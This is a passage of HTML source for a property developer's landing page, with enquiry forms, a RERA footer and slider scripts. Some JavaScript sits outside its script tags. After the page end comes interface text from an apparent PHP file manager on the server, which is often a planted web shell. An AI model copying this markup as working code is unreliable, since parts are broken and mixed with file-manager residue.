                                        <i class="fab fa-whatsapp" aria-hidden="true" class="icon-color"></i>
                                        <span class="sr-only">Whatsapp</span>
                                    </a>
                                    <a href="https://www.instagram.com/shivnath_habitat1/?igsh=MWF6bDZpMzNtczV3cA%3D%3D&utm_source=ig_contact_invite#"
                                        target="_blank" class="social-i">
                                        <i class="fab fa-instagram" aria-hidden="true" class="icon-color"></i>
                                        <span class="sr-only">Instagram</span>
                                    </a>
                                    <a href="#" class="social-i">
                                        <i class="fab fa-linkedin" aria-hidden="true" class="icon-color"></i>
                                        <span class="sr-only">Linkedin</span>
                                    </a>
                                    <a href="https://www.youtube.com/@shivnathhabitat" target="_blank" class="social-i">
                                        <i class="fab fa-youtube" aria-hidden="true" class="icon-color"></i>
                                        <span class="sr-only">Youtube</span>
                                    </a>
                                </div>
                            </div>
                        </div>
                        <div class="col-lg-6 col-md-12 form-txt">
                            <div class="contact-form">
                                <h1>Contact Us</h1>
                                <form>
                                    <div class="form-details">
                                        <input type="text" name="name" id="name" placeholder="Name*" required>
                                        <input type="email" name="email" id="email" placeholder="Email*" required>
                                        <input type="text" name="mobile" id="mobile" placeholder="Mobile*" required>
                                        <button type="submit"
                                            class="solinom-btn about-three__btn solinom-btn--base">Submit</button>
                                    </div>
                            </div>
                        </div>
                    </div>

</div>
        </section>

<!-- <div class="cta-two ">
            <div class="cta-two__bg" style="background-image: url(assets/images/backgrounds/cta-bg-2-1.png);"></div>
            <div class="container">
                <div class="row gutter-y-30">
                    <div class="col-lg-6 col-xl-5">
                        <div class="cta-two__content wow fadeInUp" data-wow-duration='1500ms' data-wow-delay='300ms'>
                            <h4 class="cta-two__content__title">Check Our Exclusive Project!</h4>
                            <div class="cta-two__content__btn">
                                <a href="#" class="solinom-btn solinom-btn--base">Download Brochure</a>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-6 col-xl-7">
                        <div class="cta-two__funfact wow fadeInUp" data-wow-duration='1500ms' data-wow-delay='500ms'>
                            <div class="cta-two__thumb">
                                <img src="assets/images/project-img/home2-3.png" alt="solinom image">
                            </div>
                            <div class="cta-two__funfact__content count-box">
                                <p class="cta-two__funfact__text">Build with</p>
                                <h3 class="cta-two__funfact__count">
                                   
                                    <span class="cta-two__funfact__count__item count-text">Passion</span>

</h3>
                                <p class="cta-two__funfact__text">& perfection</p>
                                <div class="cta-two__funfact__element">
                                    <img src="assets/images/shapes/group-2-1.png" alt>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="cta-two__element">
                <img src="assets/images/shapes/cta-shape-2-1.png" alt>
            </div>
            <div class="cta-two__element-two">
                <img src="assets/images/shapes/cta-shape-2-2.png" alt>
            </div>
        </div> -->

<footer class="main-footer ">
            <div class="main-footer__top">
                <div class="container">
                    <div class="row normal-footer">
                        <div class="col-md-6 col-lg-4 col-xl-5 wow fadeInUp" data-wow-duration='1500ms'
                            data-wow-delay='300ms'>
                            <div class="footer-widget footer-widget--about">
                                <h2 class="footer-widget__title">About</h2>
                                <p class="footer-widget__text">Our aim is to improve quality of life through provision
                                    of throughly modern amenities and infrastructure facilities.</p>
                                <form action="#" data-url="MAILCHIMP_FORM_URL"
                                    class="footer-widget__newsletter mc-form">
                                </form>
                                <div class="mc-form__response"></div>
                                <div class="footer-widget__social">
                                    <a href="#">
                                        <i class="fab fa-facebook-f" aria-hidden="true" class="icon-color"></i>
                                        <span class="sr-only">Facebook</span>
                                    </a>
                                    <a href="#">
                                        <i class="fab fa-whatsapp" aria-hidden="true" class="icon-color"></i>
                                        <span class="sr-only">Whatsapp</span>
                                    </a>
                                    <a href="#">
                                        <i class="fab fa-instagram" aria-hidden="true" class="icon-color"></i>
                                        <span class="sr-only">Instagram</span>
                                    </a>
                                    <a href="#">
                                        <i class="fab fa-youtube" aria-hidden="true" class="icon-color"></i>
                                        <span class="sr-only">Youtube</span>
                                    </a>
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6 col-lg-4 col-xl-3 wow fadeInUp" data-wow-duration='1500ms'
                            data-wow-delay='400ms'>
                            <div class="footer-widget footer-widget--links">
                                <h2 class="footer-widget__title">Useful Links</h2>
                                <ul class="list-unstyled footer-widget__links">
                                    <li><i class="fas fa-circle"></i><a href="#">Home</a></li>
                                    <li><i class="fas fa-circle"></i><a href="#">Project</a></li>
                                    <li><i class="fas fa-circle"></i><a href="#">Amenities</a></li>
                                    <li><i class="fas fa-circle"></i><a href="#">Plan</a></li>
                                    <li><i class="fas fa-circle"></i><a href="#">About Us</a></li>
                                    <li><i class="fas fa-circle"></i><a href="#">Contact Us</a></li>
                                </ul>
                            </div>
                        </div>
                        <div class="col-md-6 col-lg-4 col-xl-4 wow fadeInUp" data-wow-duration='1500ms'
                            data-wow-delay='700ms'>
                            <div class="footer-widget footer-widget--contact">
                                <h2 class="footer-widget__title">Contact</h2>
                                <ul class="list-unstyled footer-widget__info">
                                    <li>
                                        <div class="footer-widget__info__item">
                                            <i class="icon-pin"></i>
                                        </div>
                                        <a class="footer-widget__info__text" href="#">Shivnath
                                            Habitat opposite Moj Mart Padle gaon, Kalyan Shil road-421204</a>
                                    </li>
                                    <li>
                                        <div class="footer-widget__info__item">
                                            <i class="icon-telephone-call"></i>
                                        </div>
                                        <a class="footer-widget__info__text" href="tel:+91 9820992083">+91
                                            9820992083</a>
                                    </li>
                                    <li>
                                        <div class="footer-widget__info__item">
                                            <i class="icon-envelope"></i>
                                        </div>
                                        <a class="footer-widget__info__text"
                                            href="mailto:shivnath.happyhomes@gmail.com">shivnath.happyhomes@gmail.com</a>
                                    </li>
                                </ul>
                            </div>
                        </div>
                    </div>
                    <div class="row">
                        <div class="maharera">
                            <div class="row justify-content-center align-items-center">
                                <div class="col-md-12 text-center">
                                    <p>Project Registered with MahaRERA Group promoted by SARVODAY GROUP</p>
                                    <p class="reg-num">MahaRERA Registration No.: P51700020976 | P51700054944</p>
                                    <div><img src="assets/images/project-img/rera-logo.png" alt=""></div>
                                    <a href="https://maharera.mahaonline.gov.in"
                                        style="color: #fff; text-decoration: none;">MAHARERAIT.MAHAONLINE.GOV.IN</a>
                                    <div class="consultant">
                                        <p>MUNCIPAL ARCHITECT:</br>Sameer.s.lotke</p>
                                        <p class="con1">RCC CONSULTANT:</br>Venus Consultant Pvt.Ltd</p>
                                    </div>
                                    <p>Office Address:3, Shubhangi Darshan, Manpada Road, Near Statue, Dombivali (E)
                                        421201</br>
                                        Site Address:Shop No. 1, Shivnath Habitat, Opp. Godreg Showroom, Padlegaon,
                                        Kalyan-Shil Road. 421204</p>
                                </div>
                            </div>
                            <div class="row justify-content-center align-items-center">
                                <div class="col-md-12 text-center">
                                    <div class="con-detail">

<div class="qr-main hor-line">
                                            <div class="qrcode">
                                                <img src="assets/images/project-img/Shivnath-Sky-City.jpeg" alt="">
                                                <p>Shivnath Sky City</p>
                                            </div>
                                            <div class="qrcode">
                                                <img src="assets/images/project-img/Shivnath-Habitat.jpeg" alt="">
                                                <p>Shivnath Habitat</p>
                                            </div>
                                        </div>

<div class="email-det">
                                            <p><i class="fa fa-envelope" aria-hidden="true"></i>Email:
                                                shivnath.happyhome@gmail.com</br> www.happyhomeproperties.in</p>
                                        </div>
                                    </div>
                                </div>
                            </div>

<div class="row d-flex justify-content-center align-items-center">
                                <div class="col-md-12 text-center">
                                    <p class="disc">
                                        Disclaimer: All the images, visuals, elevations, perspectives, illustrations,
                                        stock images, designs, drawings,
                                        maps, facilities, amenities, features, and other information herein are
                                        conceptual, indicative, and for
                                        representation purposes only and are not to scale, and are subject to the
                                        approval of the respective authorities.
                                        The Promoters/Developers reserve the right to add, alter, delete, or replace any
                                        of these in the interest of
                                        development, without any notice or obligation. All the matter presented here
                                        does not constitute any offer or
                                        contract of any nature whatsoever between the Promoters/Developers and the
                                        recipient. All transactions shall be
                                        subject to and governed by the terms & conditions of the Agreement for Sale to
                                        be entered into between the parties.
                                    </p>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="main-footer__top__shape">
                    <img src="assets/images/shapes/home-footer.png" alt>
                </div>
            </div>
            <div class="main-footer__bottom">
                <form action="#" method="post" name="inquiryForm" id="inquiryForm"
                    onsubmit="return save_landing_pageinfo('inquiryForm');" novalidate="novalidate">
                    <div class="row seven-cols">
                        <div class="col-lg-2 text-right pulseanimation">
                            <h4>
                                Enquire Now
                            </h4>
                        </div>
                        <div class="col-md-offset-2 col-lg-2">
                            <div class="input-group ">
                                <input type="text" name="fname" class="form-control sticky-input" placeholder="Name *">
                                <label class="error1" id="name_error" name="nError"></label>
                                <input type="hidden" name="subject" value="Enquire Now" class="form-control">
                            </div>
                        </div>
                        <div class="col-lg-2">
                            <div class="input-group">
                                <input type="text" name="email" class="form-control sticky-input" placeholder="Email ">
                                <label class="error1" id="email_error" name="eError"></label>
                            </div>
                        </div>

<input type="hidden" name="source" id="source" value="Enquiry Form">
                        <div class="col-lg-2">
                            <div class="input-group form-buttons col-sm-4">
                                <span class="input-group-btn">
                                    <button class="btn btn-default" type="submit" value="Submit" name="submitf"
                                        id="submitf" style="width: 140px;">
                                        <i class="fa fa-envelope"></i>&nbsp; Proceed
                                    </button>
                                </span>
                            </div>
                        </div>
                    </div>
                </form>
            </div>
        </footer>

<div class="mobile-nav__wrapper">
            <div class="mobile-nav__overlay mobile-nav__toggler"></div>
            <div class="mobile-nav__content">
                <span class="mobile-nav__close mobile-nav__toggler"><i class="fa fa-times"></i></span>
                <div class="logo-box">
                    <a href="index.html" aria-label="logo image"><img src="assets/images/project-img/shivnath-logo1.png"
                            width="130" alt=" solinom logo"></a>
                </div>
                <div class="mobile-nav__container"></div>
                <ul class="mobile-nav__contact list-unstyled">
                    <li>
                        <i class="fa fa-envelope"></i>
                        <a href="mailto:shivnath.happyhomes@gmail.com">shivnath.happyhomes@gmail.com</a>
                    </li>
                    <li>
                        <i class="fa fa-phone-alt"></i>
                        <a href="tel:+919820992083">+91 9820992083</a>
                    </li>
                </ul>
                <div class="mobile-nav__social">
                    <a href="#">
                        <i class="fab fa-facebook-f" aria-hidden="true"></i>
                        <span class="sr-only">Facebook</span>
                    </a>
                    <a href="#">
                        <i class="fab fa-whatsapp" aria-hidden="true"></i>
                        <span class="sr-only">Whatsapp</span>
                    </a>
                    <a href="#">
                        <i class="fab fa-instagram" aria-hidden="true"></i>
                        <span class="sr-only">Instagram</span>
                    </a>
                    <a href="#">
                        <i class="fab fa-linkedin" aria-hidden="true"></i>
                        <span class="sr-only">Linkedin</span>
                    </a>
                    <a href="#" class="social-i">
                        <i class="fab fa-youtube" aria-hidden="true" class="icon-color"></i>
                        <span class="sr-only">Youtube</span>
                    </a>
                </div>
            </div>
        </div>
        <div class="search-popup">
            <div class="search-popup__overlay search-toggler"></div>
            <div class="search-popup__content">
                <form role="search" method="get" class="search-popup__form" action="#">
                    <input type="text" id="search" placeholder="Search Here...">
                    <button type="submit" aria-label="search submit" class="solinom-btn solinom-btn--base">
                        <span><i class="icon-search"></i></span>
                    </button>
                </form>
            </div>
        </div>

<div class="modal fade hidden" id="exampleModal" tabindex="-1" aria-labelledby="exampleModalLabel"
            aria-hidden="true">
            <div class="modal-dialog">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" id="exampleModalLabel">Shivnath Habitat</h5>
                        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                    </div>
                    <div class="modal-body">
                        <p>Please enter the details below to get the detailed information.</p>
                        <form class="modal-form">
                            <input type="text" id="name" name="name" placeholder="Name*" required>

<button type="submit">Submit</button>
                        </form>
                    </div>
                    
                </div>
            </div>
        </div>

<a href="assets/Happy home final.pdf" target="_blank">  <button class=" dwnld broch hidden-xs pulseanimation">Download Brochure</button></a>

<!-- <div id="instant-callback-div" class="visible-lg-*">
    <div class="instant-switch pulseanimation">
       
    </div>
    <div class="content-switcher">
        <h4>Instant Callback!</h4>
        <form method="post" name="InstantCallback" id="InstantCallback" action="#" onsubmit="return save_landing_pageinfo('InstantCallback');" novalidate="novalidate">
            <div class="col-sm-12">
                <div class="input-group">
                    <input type="text" name="fname" class="form-control" placeholder="Name *">
                    <input type="hidden" name="subject" value="Instant Callback" class="form-control">
                </div>
            </div>
            <div class="col-sm-12">
                <div class="input-group">
                    <input type="text" name="email" class="form-control" placeholder="Email ">
                </div>
            </div>

<div class="col-sm-12">
                <div class="input-group form-buttons">
                    <span class="input-group-btn">
                        <button class="btn btn-default" type="submit" value="Submit" name="submitf" id="submitf" style="width: 100%; height: 40px; background-color: #007bff; color: white; font-size: 16px; border-radius: 5px;">
                            <i class="fa fa-envelope"></i> &nbsp;Proceed
                        </button>
                    </span>
                </div>
            </div>
            <div class="clearfix"></div>
        </form>
        <div id="hide">
            <img class="img-responsive" src="img/close.png" alt="">
        </div>
    </div>
</div> -->
        <div id="instant-callback-div" class="visible-lg-*">
            <div class="instant-switch pulseanimation">
                
            </div>
            <div class="content-switcher">
                <h5>Instant Callback!</h5>
                <form method="post" name="InstantCallback" id="InstantCallback" action="#"
                    onsubmit="return save_landing_pageinfo('InstantCallback');" novalidate="novalidate">
                    <div class="col-sm-12">
                        <div class="input-group">
                            <input type="text" name="fname" class="form-control sticky-input" placeholder="Name *">
                            <input type="hidden" name="subject" value="Instant Callback" class="form-control">
                        </div>
                    </div>
                    <div class="col-sm-12">
                        <div class="input-group">
                            <input type="text" name="email" class="form-control sticky-input" placeholder="Email *">
                        </div>
                    </div>

<div class="col-xs-12 enq pulseanimation">
            <button class="inquireButton btn" data-bs-toggle="modal" data-bs-target="#exampleModal">
                Enquire Now!
            </button>
        </div>
    </div>
    <script src="assets/vendors/jquery/jquery-3.7.0.min.js"></script>
    
    <script src="assets/vendors/bootstrap/js/bootstrap.bundle.min.js"></script>
    <script src="assets/vendors/bootstrap-select/bootstrap-select.min.js"></script>
    <script src="assets/vendors/jarallax/jarallax.min.js"></script>
    <script src="assets/vendors/jquery-ui/jquery-ui.js"></script>
    <script src="assets/vendors/jquery-ajaxchimp/jquery.ajaxchimp.min.js"></script>
    <script src="assets/vendors/jquery-appear/jquery.appear.min.js"></script>
    <script src="assets/vendors/jquery-circle-progress/jquery.circle-progress.min.js"></script>
    <script src="assets/vendors/jquery-magnific-popup/jquery.magnific-popup.min.js"></script>
    <script src="assets/vendors/jquery-validate/jquery.validate.min.js"></script>
    <script src="assets/vendors/nouislider/nouislider.min.js"></script>
    <script src="assets/vendors/tiny-slider/tiny-slider.js"></script>
    <script src="assets/vendors/wnumb/wNumb.min.js"></script>
    <script src="assets/vendors/owl-carousel/js/owl.carousel.min.js"></script>
    <script src="assets/vendors/slick-carousel/slick.min.js"></script>
    <script src="assets/vendors/flipster/flipster.js"></script>
    <script src="assets/vendors/wow/wow.js"></script>
    <script src="assets/vendors/imagesloaded/imagesloaded.min.js"></script>
    <script src="assets/vendors/isotope/isotope.js"></script>
    <script src="assets/vendors/countdown/countdown.min.js"></script>
    <script src="assets/vendors/jquery-circleType/jquery.circleType.js"></script>
    <script src="assets/vendors/jquery-lettering/jquery.lettering.min.js"></script>

<script src="assets/vendors/gsap/gsap.js"></script>
    <script src="assets/vendors/gsap/ScrollTrigger.min.js"></script>
    <script src="assets/vendors/gsap/splittext.min.js"></script>
    <script src="assets/js/solinom-gsap.js"></script>

<script src="assets/js/solinom.js"></script>
    <script>
        window.onload = function () {
            setTimeout(function () {
                var myModal = new bootstrap.Modal(document.getElementById('exampleModal'));
                myModal.show();
            }, 30000);  
        };
    </script>

// Add event listener to show the content-switcher when the switch button is clicked
            switchButton.addEventListener('click', function () {
                contentSwitcher.classList.add('open');
                instantCallbackDiv.classList.add('open'); 
            });

closeButton.addEventListener('click', function () {
                contentSwitcher.classList.remove('open');
                instantCallbackDiv.classList.remove('open');
            });
        });

</script>

<script>
        jQuery(document).ready(function ($) {
            $('.slider').slick({
                dots: false,
                infinite: true,
                speed: 500,
                slidesToShow: 3,
                slidesToScroll: 1,
                autoplay: true,
                autoplaySpeed: 2000,
                arrows: true,
                responsive: [{
                    breakpoint: 600,
                    settings: {
                        slidesToShow: 2,
                        slidesToScroll: 1
                    }
                },
                {
                    breakpoint: 400,
                    settings: {
                        arrows: false,
                        slidesToShow: 1,
                        slidesToScroll: 1
                    }
                }]
            });
        });

</script>
    
    <script>
        var rightJS = {
            init: function () {
                rightJS.Tags = document.querySelectorAll('.rightJS');
                for (var i = 0; i < rightJS.Tags.length; i++) {
                    rightJS.Tags[i].style.overflow = 'hidden';
                }
                rightJS.Tags = document.querySelectorAll('.rightJS div');
                for (var i = 0; i < rightJS.Tags.length; i++) {
                    rightJS.Tags[i].style.position = 'relative';
                    rightJS.Tags[i].style.right = '-' + rightJS.Tags[i].parentElement.offsetWidth + 'px';
                }
                rightJS.loop();
            },
            loop: function () {
                for (var i = 0; i < rightJS.Tags.length; i++) {
                    var x = parseFloat(rightJS.Tags[i].style.right);
                    x++;
                    var W = rightJS.Tags[i].parentElement.offsetWidth;
                    var w = rightJS.Tags[i].offsetWidth;
                    if ((x / 100) * W > w) x = -W;
                    if (rightJS.Tags[i].parentElement.parentElement.querySelector(':hover') !== rightJS.Tags[i].parentElement) rightJS.Tags[i].style.right = x + 'px';
                }
                requestAnimationFrame(this.loop.bind(this));
            }
        };
        window.addEventListener('load', rightJS.init);

/* JQUERY */

$(function () {
            var rightJQ = {
                init: function () {
                    $('.rightJQ').css({
                        overflow: 'hidden'
                    });
                    $('.rightJQ').on('mouseover', function () {
                        $('div', this).stop();
                    });
                    $('.rightJQ').on('mouseout', function () {
                        $('div', this).animate({
                            right: '100%'
                        }, 16000, 'linear');
                    });
                    rightJQ.loop();
                },
                loop: function () {
                    $('.rightJQ div').css({
                        position: 'relative',
                        right: '-100%'
                    }).animate({
                        right: '100%'
                    }, 16000, 'linear', rightJQ.loop);
                }
            };
            rightJQ.init();
        });
    </script>

</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: index-old.html

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation